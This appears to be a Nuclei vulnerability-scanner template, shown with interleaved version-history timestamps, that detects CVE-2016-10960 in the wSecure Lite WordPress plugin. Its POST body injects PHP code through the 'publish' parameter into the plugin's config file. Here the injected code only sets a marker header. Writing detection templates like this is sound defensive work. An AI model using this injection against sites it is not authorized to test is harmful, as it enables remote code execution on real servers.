2021-07-15 02:41:14 +00:00
id : CVE-2016-10960
info :
name : wSecure Lite < 2.4 - Remote Code Execution (RCE)
author : daffainfo
severity : critical
description : The wsecure plugin before 2.4 for WordPress has remote code execution via shell metacharacters in the wsecure-config.php publish parameter.
2021-07-16 05:43:17 +00:00
reference : |
- https://www.pluginvulnerabilities.com/2016/07/12/remote-code-execution-rce-vulnerability-in-wsecure-lite/
- https://www.acunetix.com/vulnerabilities/web/wordpress-plugin-wsecure-lite-remote-code-execution-2-3/
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-10960
2021-07-15 02:41:14 +00:00
tags : cve,cve2016,wordpress,wp-plugin,rce
requests :
- method : POST
path :
- "{{BaseURL}}/wp-content/plugins/wsecure/wsecure-config.php"
2021-07-16 12:24:37 +00:00
body : 'wsecure_action=update&publish=";} header("Nuclei: CVE-2016-10960"); class WSecureConfig2 {var $test="'
2021-07-15 02:41:14 +00:00
matchers-condition : and
matchers :
- type : word
words :
2021-07-16 12:24:37 +00:00
- "Nuclei: CVE-2016-10960"
2021-07-15 02:41:14 +00:00
condition : and
2021-07-16 12:24:37 +00:00
part : header
2021-07-15 02:41:14 +00:00
- type : status
status :
- 200
